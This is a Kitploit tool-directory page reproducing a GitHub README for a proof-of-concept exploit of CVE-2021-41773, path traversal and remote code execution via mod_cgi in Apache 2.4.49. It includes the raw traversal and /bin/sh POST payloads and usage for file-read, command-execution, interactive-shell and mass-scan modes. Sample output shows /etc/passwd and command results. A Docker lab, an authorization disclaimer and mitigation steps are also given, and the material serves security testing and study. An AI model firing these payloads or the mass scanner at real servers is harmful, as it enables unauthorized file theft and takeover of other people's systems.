Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-41773 — Prueba de concepto de CVE-2021-41773 | Kitploit
Ferramentas/GitHubGitHub/joapath/cve-2021-41773
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubjoapath/cve-2021-41773

CVE-2021-41773

Prueba de concepto de CVE-2021-41773

Ver Repositório
36há 8 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-41773 — PoC: Path Traversal + RCE via mod_cgi

Apenas para uso em ambientes controlados e próprios. Não usar contra sistemas sem autorização.


Descrição

PoC desenvolvida para demonstrar e entender a vulnerabilidade CVE-2021-41773, presente no Apache HTTP Server 2.4.49.

A falha reside na função ap_normalize_path(), que não validava corretamente os caracteres codificados em URL. Isso permitia a um atacante sair do DocumentRoot por meio de uma sequência de caracteres codificados (%2e%2e%2f em vez de ../), lendo arquivos arbitrários do sistema.

Quando o módulo mod_cgi estava habilitado, a vulnerabilidade escalava para RCE (Remote Code Execution), permitindo executar comandos diretamente no servidor com as permissões do processo Apache.


Condições necessárias para a exploração

O servidor deve cumprir todas estas condições para ser vulnerável:

CondiçãoDetalhe
Versão do ApacheExatamente 2.4.49
Diretiva de acessoRequire all granted na configuração
Módulo CGImod_cgi habilitado (apenas para RCE)

Como funciona o ataque

Fase 1 — Path Traversal

O Apache 2.4.49 filtrava o clássico ../, mas não a sua versão codificada em URL. O atacante constrói um caminho que o filtro não detecta, mas que o sistema operacional interpreta corretamente:

GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

%2e%2e%2f é a codificação URL de ../. O Apache deixava passar, o SO o resolvia, e o resultado era acesso a arquivos fora do diretório web.

Fase 2 — RCE via mod_cgi

Com mod_cgi ativo, o path traversal é usado para apontar para /bin/sh em vez de um arquivo. O Apache o trata como um script CGI e o executa. O comando viaja no body do POST como um script shell mínimo:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded

echo 'Content-Type: text/plain'; echo; id 2>&1

A saída do comando chega na resposta HTTP.


Ambiente de testes

O repositório inclui um ambiente pronto para reproduzir a vulnerabilidade em setup/:

cd setup
docker compose up -d

Isso inicia o Apache 2.4.49 na porta 8080 com a configuração vulnerável (Require all granted + mod_cgi habilitado). Os arquivos do lab:

ArquivoDescrição
setup/docker-compose.ymlContêiner com Apache 2.4.49
setup/httpd.confConfiguração vulnerável do Apache

Os arquivos de configuração utilizados estão em setup/.

Decisões técnicas para o exploit

  • Por que urllib3 e não requests? requests recodifica automaticamente os caracteres do path antes de enviá-los. Isso quebra o payload porque o servidor recebe %252e em vez de %2e. urllib3 permite enviar o path sem modificações.

  • Por que .%2e/ e não %2e%2e/? O Apache filtra %2e%2e/ no módulo mod_rewrite. A variante .%2e/ é semanticamente equivalente, mas passa pelo filtro, porque a normalização do path ocorre após a validação.

Limitações

  • O módulo mod_cgi deve estar habilitado para que o modo RCE funcione. Sem ele, apenas o path traversal é possível.
  • O exploit não funciona se o Apache estiver atrás de um WAF que filtre encoding duplo no path.
  • Testado apenas contra o Apache 2.4.49 no Linux. A versão 2.4.50 requer um bypass adicional (ver CVE-2021-42013).

Uso do script

python PoC_2021-41773.py --target <URL> --mode <modo> [opciones]
python PoC_2021-41773.py --input-file <archivo> --mode check [--threads N] [--output resultados.json]

Argumentos

ArgumentoObrigatórioDescrição
--targetSim*URL base do servidor (ex: http://localhost:8080)
--input-file / -iFSim*Arquivo com lista de targets (um por linha)
--modeSimModo de operação (ver tabela abaixo)
--cmdNãoComando a executar no modo rce (padrão: id)
--fileNãoArquivo a ler no modo traversal (padrão: /etc/passwd)
--threads / -tNãoThreads para varredura massiva (padrão: 10, apenas com --input-file)
--output / -oNãoExportar resultados para JSON (apenas com --input-file)

* --target e --input-file são mutuamente exclusivos — usa-se um ou outro.

Modos de operação

ModoDescrição
checkVerifica se o target é vulnerável e se o mod_cgi está habilitado, sem extrair dados sensíveis
traversalLê um arquivo arbitrário do sistema via path traversal
rceExecuta um comando individual no servidor via mod_cgi
shellPseudo-shell interativo para executar comandos RCE em série

Exemplos

# Verificar si el servidor es vulnerable
python PoC_2021-41773.py --target http://localhost:8080 --mode check

# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal

# Leer un archivo específico
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal --file /etc/hosts

# Ejecutar un comando
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd whoami

# Abrir un pseudo-shell interactivo
python PoC_2021-41773.py --target http://localhost:8080 --mode shell

# Escaneo masivo con exportación a JSON
python PoC_2021-41773.py -iF targets.txt --mode check -t 20 -o results.json

Saída esperada — modo check

───────────────────────────────────────────────────────
  CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
  PoC con fines educativos y profesionales
───────────────────────────────────────────────────────

[*] Modo: Check de vulnerabilidad
[*] Objetivo: http://localhost:8080
[*] Probando traversal contra /etc/hostname...
[*] Header Server: Apache/2.4.49 (Unix)
[+] VULNERABLE — el servidor devolvió /etc/hostname
    Hostname: e0d20311f3e6
[+] mod_cgi habilitado — RCE posible

Saída esperada — modo traversal

[+] Modo: Path Traversal
[*] Objetivo: http://localhost:8080
[*] Archivo:  /etc/passwd
[*] URL:      http://localhost:8080/traversal/.%2e/.%2e/.%2e/.%2e/etc/passwd
[*] Enviando request...

[+] Servidor vulnerable — Status 200
──────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
──────────────────────────────────────────────────

Saída esperada — modo rce

[+] Modo: RCE via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Comando:  whoami
[*] Enviando request...

[+] RCE confirmado
──────────────────────────────────────────────────
daemon
──────────────────────────────────────────────────

Saída esperada — modo shell

[+] Modo: Shell interactivo via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Verificando RCE...
[+] RCE confirmado — uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Escribí 'exit' o 'quit' para salir.

apache> id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
apache> ls /
bin  boot  dev  etc  home  lib  lib64  ...
apache> exit
[*] Cerrando shell.

Saída esperada — varredura massiva

[*] Cargados 5 targets
[*] Threads: 5
[*] Iniciando escaneo...

[1/5] [+] http://10.0.0.1:8080 — VULNERABLE (RCE)
[2/5] [-] http://10.0.0.2:8080 — no vulnerable
[3/5] [!] http://10.0.0.3:9999 — error de conexión
[4/5] [+] http://10.0.0.4:8080 — VULNERABLE (solo traversal)
[5/5] [!] http://10.0.0.5:1234 — error de conexión

══════════════════════════════════════════════════
  Resultados: 5 targets escaneados
  Vulnerables:     2  (1 con RCE)
  No vulnerables:  1
  Errores:         2
  Exportado a:    results.json
══════════════════════════════════════════════════

O arquivo JSON contém metadados do escaneamento e um array de resultados com target, status, server, hostname e rce para cada alvo.


Mitigação

  • Atualizar o Apache para a versão 2.4.51 ou superior.
  • Configurar Require all denied como valor padrão.
  • Desabilitar o mod_cgi se não for estritamente necessário.

Referências

Baixar ferramenta